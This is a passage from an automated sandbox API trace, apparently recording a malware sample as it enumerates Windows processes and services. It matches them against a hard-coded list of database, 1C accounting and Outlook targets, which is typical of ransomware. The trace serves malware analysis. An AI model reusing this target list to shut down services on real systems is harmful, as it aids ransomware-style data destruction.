lpString2="WdiSystemHost") returned -1 [0184.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0184.239] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0184.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0184.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0184.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0184.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0184.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0184.240] lstrlenW (lpString="Winmgmt") returned 7 [0184.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0184.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0184.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0184.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0184.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0184.240] lstrlenW (lpString="WPDBusEnum") returned 10 [0184.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0184.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0184.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0184.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0184.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0184.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x615dd0 | out: hHeap=0x5c0000) returned 1 [0184.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0184.242] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.242] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.242] lstrlenW (lpString="System") returned 6 [0184.242] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0184.242] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0184.242] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.243] lstrlenW (lpString="smss.exe") returned 8 [0184.243] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0184.243] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.243] lstrlenW (lpString="csrss.exe") returned 9 [0184.243] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0184.243] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0184.243] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0184.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0184.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0184.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0184.244] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.244] lstrlenW (lpString="wininit.exe") returned 11 [0184.244] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0184.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0184.244] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.244] lstrlenW (lpString="csrss.exe") returned 9 [0184.244] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0184.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0184.244] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0184.244] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0184.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0184.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0184.245] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.245] lstrlenW (lpString="winlogon.exe") returned 12 [0184.245] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.245] lstrlenW (lpString="services.exe") returned 12 [0184.245] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.246] lstrlenW (lpString="lsass.exe") returned 9 [0184.246] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0184.246] lstrlenW (lpString="lsm.exe") returned 7 [0184.246] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.246] lstrlenW (lpString="svchost.exe") returned 11 [0184.246] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.247] lstrlenW (lpString="svchost.exe") returned 11 [0184.247] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.247] lstrlenW (lpString="svchost.exe") returned 11 [0184.247] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.247] lstrlenW (lpString="svchost.exe") returned 11 [0184.248] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.248] lstrlenW (lpString="svchost.exe") returned 11 [0184.248] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.248] lstrlenW (lpString="audiodg.exe") returned 11 [0184.248] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.249] lstrlenW (lpString="svchost.exe") returned 11 [0184.249] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.249] lstrlenW (lpString="explorer.exe") returned 12 [0184.249] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.249] lstrlenW (lpString="dwm.exe") returned 7 [0184.249] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.250] lstrlenW (lpString="svchost.exe") returned 11 [0184.250] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0184.250] lstrlenW (lpString="n.exe") returned 5 [0184.250] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.250] lstrlenW (lpString="spoolsv.exe") returned 11 [0184.250] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.251] lstrlenW (lpString="svchost.exe") returned 11 [0184.251] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0184.251] lstrlenW (lpString="taskhost.exe") returned 12 [0184.251] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0184.251] lstrlenW (lpString="reader_sl.exe") returned 13 [0184.251] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0184.252] lstrlenW (lpString="n.exe") returned 5 [0184.252] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0184.252] lstrlenW (lpString="cmd.exe") returned 7 [0184.252] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0184.252] lstrlenW (lpString="cmd.exe") returned 7 [0184.252] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0184.253] lstrlenW (lpString="conhost.exe") returned 11 [0184.253] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0184.253] lstrlenW (lpString="conhost.exe") returned 11 [0184.253] Process32NextW (in: hSnapshot=0x1cc, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0184.253] CloseHandle (hObject=0x1cc) returned 1 [0184.254] Sleep (dwMilliseconds=0x1f4) [0184.873] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633d00 [0184.873] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0184.874] GetLastError () returned 0xea [0184.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e4) returned 0x6b5c80 [0184.874] EnumServicesStatusExW (in: hSCManager=0x633d00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x11e4, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0184.874] CloseServiceHandle (hSCObject=0x633d00) returned 1 [0184.875] lstrlenW (lpString="Appinfo") returned 7 [0184.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0184.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0184.875] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0184.875] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0184.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0184.875] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0184.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0184.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0184.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0184.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0184.875] lstrlenW (lpString="AudioSrv") returned 8 [0184.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0184.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0184.875] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0184.875] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0184.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0184.875] lstrlenW (lpString="BFE") returned 3 [0184.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0184.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0184.875] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0184.875] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0184.875] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0184.875] lstrlenW (lpString="CryptSvc") returned 8 [0184.875] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0184.875] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0184.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0184.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0184.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0184.876] lstrlenW (lpString="CscService") returned 10 [0184.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0184.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0184.876] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0184.876] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0184.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0184.876] lstrlenW (lpString="DcomLaunch") returned 10 [0184.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0184.876] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0184.876] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0184.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0184.876] lstrlenW (lpString="Dhcp") returned 4 [0184.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0184.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0184.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0184.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0184.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0184.876] lstrlenW (lpString="Dnscache") returned 8 [0184.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0184.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0184.876] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0184.876] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0184.876] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0184.876] lstrlenW (lpString="DPS") returned 3 [0184.876] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0184.876] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0184.877] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0184.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0184.877] lstrlenW (lpString="eventlog") returned 8 [0184.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0184.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0184.877] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0184.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0184.877] lstrlenW (lpString="EventSystem") returned 11 [0184.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0184.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0184.877] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0184.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0184.877] lstrlenW (lpString="gpsvc") returned 5 [0184.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0184.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0184.877] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0184.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0184.877] lstrlenW (lpString="iphlpsvc") returned 8 [0184.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0184.877] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0184.877] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0184.877] lstrlenW (lpString="LanmanServer") returned 12 [0184.877] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0184.877] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0184.877] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0184.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0184.878] lstrlenW (lpString="LanmanWorkstation") returned 17 [0184.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0184.878] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0184.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0184.878] lstrlenW (lpString="lmhosts") returned 7 [0184.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0184.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0184.878] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0184.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0184.878] lstrlenW (lpString="MMCSS") returned 5 [0184.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0184.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0184.878] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0184.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0184.878] lstrlenW (lpString="MpsSvc") returned 6 [0184.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0184.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0184.878] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0184.878] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0184.878] lstrlenW (lpString="Netman") returned 6 [0184.878] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0184.878] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0184.878] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0184.878] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0184.879] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0184.879] lstrlenW (lpString="netprofm") returned 8 